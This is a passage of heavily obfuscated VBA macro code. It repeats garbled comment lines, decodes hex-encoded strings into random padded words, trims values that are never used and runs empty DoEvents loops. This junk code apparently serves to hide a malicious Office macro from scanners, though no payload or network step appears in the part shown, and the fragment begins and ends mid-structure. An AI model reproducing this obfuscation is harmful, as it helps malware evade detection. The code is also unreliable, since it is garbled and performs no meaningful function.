'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
DqcjAnWt = GIYbonflbkpgerg("202020202020202020202049585A4F4F42202020202020202020202020202020")
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
lyyQFWSC = LTrim(DqcjAnWt)
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
qxXxTzzn = RTrim(lyyQFWSC)

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
DoEvents: UvLvKrRV = UvLvKrRV + 1
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim eFpuVMRr, kRhPrTHS, MHERDeby As String
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
eFpuVMRr = GIYbonflbkpgerg("20202020202020202020204A45544A4F55202020202020202020202020202020")
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
kRhPrTHS = LTrim(eFpuVMRr)
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
MHERDeby = RTrim(kRhPrTHS)

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Loop

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim pjEhmsTj, izuzlfqG, liLtMagN As String
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
pjEhmsTj = GIYbonflbkpgerg("2020202020202020202020454D454A5649202020202020202020202020202020")
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
izuzlfqG = LTrim(pjEhmsTj)
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
liLtMagN = RTrim(izuzlfqG)

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
okcudWEU = RTrim(fkfWLJyY)


'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim JlLvWGPH As Integer
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim OJrpvipG, RJfwLsUH, nKcUfjtK As String
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
OJrpvipG = GIYbonflbkpgerg("2020202020202020202020564F52505243202020202020202020202020202020")
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
RJfwLsUH = LTrim(OJrpvipG)
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
nKcUfjtK = RTrim(RJfwLsUH)

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
JlLvWGPH = 9
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Do While JlLvWGPH < 16
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim VAtNsOpx, EcSmvrzf, ilmHQvLy As String
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
VAtNsOpx = GIYbonflbkpgerg("202020202020202020202046544C4E4145202020202020202020202020202020")
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
EcSmvrzf = LTrim(VAtNsOpx)
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
ilmHQvLy = RTrim(EcSmvrzf)

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
DoEvents: JlLvWGPH = JlLvWGPH + 1
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim WqwmDdGV, paABKBaY, SsHLAxPa As String
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
WqwmDdGV = GIYbonflbkpgerg("202020202020202020202044465156524A202020202020202020202020202020")
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
paABKBaY = LTrim(WqwmDdGV)
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
SsHLAxPa = RTrim(paABKBaY)

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Loop

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim zFPannqA, fMxregfS, sTBHajMs As String
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
zFPannqA = GIYbonflbkpgerg("2020202020202020202020425459504147202020202020202020202020202020")
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
fMxregfS = LTrim(zFPannqA)
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
sTBHajMs = RTrim(fMxregfS)

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
    Set SXGGPOLSDDD = Nothing
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim SlusTlbj, jgFYKFjo, pTTkOWYS As String

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim PiqkFLnq As Integer
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim fMXCTWMq, oWypNNks, tWjwmrGd As String
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
fMXCTWMq = GIYbonflbkpgerg("202020202020202020202044514E52554A202020202020202020202020202020")
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
oWypNNks = LTrim(fMXCTWMq)
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
tWjwmrGd = RTrim(oWypNNks)

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
PiqkFLnq = 8
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Do While PiqkFLnq < 94
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim iwIsstVm, DjjYbnHd, ksVaSWUr As String
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
iwIsstVm = GIYbonflbkpgerg("2020202020202020202020534A45564457202020202020202020202020202020")
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
DjjYbnHd = LTrim(iwIsstVm)
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
ksVaSWUr = RTrim(DjjYbnHd)

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
DoEvents: PiqkFLnq = PiqkFLnq + 1
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim bDcHncol, FEZlYomz, jFJfhYrx As String
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
bDcHncol = GIYbonflbkpgerg("2020202020202020202020455A514F5658202020202020202020202020202020")
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
FEZlYomz = LTrim(bDcHncol)
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
jFJfhYrx = RTrim(FEZlYomz)

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Loop

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim NrFdMQtK, spnhxbie, chdlVfqf As String
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
NrFdMQtK = GIYbonflbkpgerg("2020202020202020202020564449485157202020202020202020202020202020")
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
spnhxbie = LTrim(NrFdMQtK)
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
chdlVfqf = RTrim(spnhxbie)

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
SlusTlbj = GIYbonflbkpgerg("2020202020202020202020554E4C595157202020202020202020202020202020")

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim QeRFYDAy As Integer
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim DWLSBahs, OWeVlyDd, RXdqFpqf As String
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
DWLSBahs = GIYbonflbkpgerg("20202020202020202020204E5156564A4D202020202020202020202020202020")
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
OWeVlyDd = LTrim(DWLSBahs)
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
RXdqFpqf = RTrim(OWeVlyDd)

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
QeRFYDAy = 8
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Do While QeRFYDAy < 32
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim lSjJsikk, CUVdvZop, ZEYUQCNz As String
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
lSjJsikk = GIYbonflbkpgerg("20202020202020202020204A424D465358202020202020202020202020202020")
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
CUVdvZop = LTrim(lSjJsikk)
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
ZEYUQCNz = RTrim(CUVdvZop)

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
DoEvents: QeRFYDAy = QeRFYDAy + 1
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim lyXyWMUf, WkqNRkhU, pihEPeAh As String
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
lyXyWMUf = GIYbonflbkpgerg("202020202020202020202059585A42434E202020202020202020202020202020")
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
WkqNRkhU = LTrim(lyXyWMUf)
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
pihEPeAh = RTrim(WkqNRkhU)

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Loop

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim OvOGCCPI, UpdAWBju, MhBRcDlk As String
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
OvOGCCPI = GIYbonflbkpgerg("2020202020202020202020485659524441202020202020202020202020202020")
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
UpdAWBju = LTrim(OvOGCCPI)
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
MhBRcDlk = RTrim(UpdAWBju)

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
jgFYKFjo = LTrim(SlusTlbj)

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim DGJHdDaf As Integer
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim rTlCFeRD, BTEoouzG, WYDmZsbH As String
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
rTlCFeRD = GIYbonflbkpgerg("2020202020202020202020495253455357202020202020202020202020202020")
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
BTEoouzG = LTrim(rTlCFeRD)
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
WYDmZsbH = RTrim(BTEoouzG)

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
DGJHdDaf = 8
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Do While DGJHdDaf < 11
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim ervwJJft, XlhuIVZI, AhCAWlmn As String
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
ervwJJft = GIYbonflbkpgerg("2020202020202020202020484B5A514A55202020202020202020202020202020")
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
XlhuIVZI = LTrim(ervwJJft)
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
AhCAWlmn = RTrim(XlhuIVZI)

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
DoEvents: DGJHdDaf = DGJHdDaf + 1
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim lZIxMAjG, IlDaNfZc, qEzWOPsJ As String
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
lZIxMAjG = GIYbonflbkpgerg("20202020202020202020204E434A425556202020202020202020202020202020")
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
IlDaNfZc = LTrim(lZIxMAjG)
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
qEzWOPsJ = RTrim(IlDaNfZc)

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Loop

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim ZWLgKPIO, FaTklcQM, SQorkbkl As String
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
ZWLgKPIO = GIYbonflbkpgerg("2020202020202020202020534F5148504D202020202020202020202020202020")
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
FaTklcQM = LTrim(ZWLgKPIO)
